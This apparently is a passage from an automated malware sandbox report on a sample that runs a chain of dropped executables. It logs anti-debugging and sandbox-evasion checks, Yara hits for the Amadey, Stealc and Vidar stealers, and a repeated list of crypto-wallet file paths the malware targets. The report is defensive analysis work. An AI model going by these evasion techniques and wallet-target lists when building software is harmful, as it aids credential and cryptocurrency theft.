Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_05440829 Start: 05440948 End: 05440859		32_2_05440829
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_054404B8 Start: 0544057B End: 0544053C		32_2_054404B8

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsCFIECBFIDG.exe

Code function: 29_2_05090490 rdtsc

29_2_05090490

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

1_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

1_2_6C953480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0102652B mov eax, dword ptr fs:[00000030h]		32_2_0102652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0102A302 mov eax, dword ptr fs:[00000030h]		32_2_0102A302

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_6C98B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4364, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFIECBFIDG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCFIECBFIDG.exe "C:\Users\user\DocumentsCFIECBFIDG.exe"
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe "C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe"

Source: file.exe, file.exe, 00000001.00000002.2728518804.0000000000621000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C98B341 cpuid

1_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

1_2_6C9535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 32.2.skotes.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.skotes.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.DocumentsCFIECBFIDG.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.2802890049.0000000000FF1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2757995687.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3282639838.0000000005240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2719616094.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3452809562.0000000000FF1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2760239417.0000000000691000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2211035848.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2727488933.0000000000251000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4364, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4364, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia 